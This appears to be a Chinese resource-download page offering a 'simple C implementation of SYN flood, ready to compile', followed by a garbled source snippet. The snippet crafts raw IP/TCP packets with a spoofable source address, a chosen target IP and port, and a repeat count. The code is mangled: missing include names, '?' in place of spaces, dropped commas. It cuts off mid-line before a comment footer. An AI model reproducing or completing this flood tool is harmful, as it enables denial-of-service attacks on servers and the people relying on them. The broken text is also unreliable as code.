資源簡介
syn flood c的簡易實現,編譯即可
代碼片段和文件信息
#define?__USE_BSD
#include?
#include?
#include?
#include?
#define?__FAVOR_BSD
#include?
#include?
#include?
#include?
#include?
#include?
struct?tcp_options
{
??u_int8_t?op0;
??u_int8_t?op1;
??u_int8_t?op2;
??u_int8_t?op3;
??u_int8_t?op4;
??u_int8_t?op5;
??u_int8_t?op6;
??u_int8_t?op7;
};
char?datagram[4096]; /*?datagram?buffer?*/
char?pheader[1024]; /*?pseudoheader?buffer?for?computing?tcp?checksum?*/
uint16_t
csum?(uint16_t?*?addr?int?len)
{
??int?nleft?=?len;
??uint32_t?sum?=?0;
??uint16_t?*w?=?addr;
??uint16_t?answer?=?0;
??while?(nleft?>?1)
??{
????sum?+=?*w++;
????nleft?-=?2;
??}
??if?(nleft?==?1)
??{
????*(unsigned?char?*)?(&answer)?=?*(unsigned?char?*)?w;
????sum?+=?answer;
??}
??sum?=?(sum?>>?16)?+?(sum?&?0xffff);
??sum?+=?(sum?>>?16);
??answer?=?~sum;
??return?(answer);
}
int
main?(int?argc?char?**argv)
{
??int?flags?=?0?c?numtries?=?90;
??char?src_ip[17];
??char?dst_ip[17];
??short?dst_port?=?80;
??short?th_sport?=?1234;
??short?tcp_flags?=?TH_SYN;
??short?pig_ack?=?0;
??struct?ip?*iph?=?(struct?ip?*)?datagram;
??struct?tcphdr?*tcph?=?(struct?tcphdr?*)?(datagram?+?sizeof?(struct?ip));
??struct?tcp_options?*tcpopt?=
????(struct?tcp_options?*)?(datagram?+?sizeof?(struct?ip)?+
????sizeof?(struct?tcphdr));
??struct?sockaddr_in?servaddr;
??memset?(datagram?0?4096); /*?zero?out?the?buffer?*/
??fprintf?(stderr?“sizeof?(struct?ip)=?%d\n“?sizeof?(struct?ip));
??snprintf?(src_ip?16?“%s“?“192.168.8.12“); //default
??while?((c?=?getopt?(argc?argv?“s:d:n:p:f:a:q:w:x:y:z:g:h:i:j:“))?!=?-1)
??{
????switch?(c)
????{
????case?‘s‘:
??????flags?|=?0x1;
??????snprintf?(src_ip?16?“%s“?optarg);
??????break;
????case?‘d‘:
??????flags?|=?0x2;
??????snprintf?(dst_ip?16?“%s“?optarg);
??????break;
????case?‘n‘:
??????flags?|=?0x4;
??????numtries?=?atoi?(optarg);
??????break;
????case?‘p‘:
??????flags?|=?0x8;
??????dst_port?=?atoi?(optarg);
??????break;
????case?‘f‘:
??????tcp_flags?=?atoi?(optarg);
??????break;
????case?‘a‘:
??????pig_ack?=?atoi?(optarg);
??????break;
????case?‘q‘:
??????th_sport?=?atoi?(optarg);
??????break;
????case?‘w‘:
??????tcpopt->op0?=?atoi?(optarg);
??????break;
????case?‘x‘:
??????tcpopt->op1?=?atoi?(optarg);
??????break;
????case?‘y‘:
??????tcpopt->op2?=?atoi?(optarg);
??????break;
????case?‘z‘:
??????tcpopt->op3?=?atoi?(optarg);
??????break;
????case?‘g‘:
??????tcpopt->op4?=?atoi?(optarg);
??????break;
????case?‘h‘:
??????tcpopt->op5?=?atoi?(optarg);
??????break;
????case?‘i‘:
??????tcpopt->op6?=?atoi?(optarg);
??????break;
????case?‘j‘:
??????tcpopt->op7?=?atoi?(optarg);
??????break;
????case?‘?‘:
??????flags?|=?0x10;
??????fprintf?(stderr?“Unrecognized?option??\n“);
??????break;
????}
??}
??if?(!(flags?&?0x2))
??{
????fprintf?(stderr
?????“\nraws
評論
共有 條評論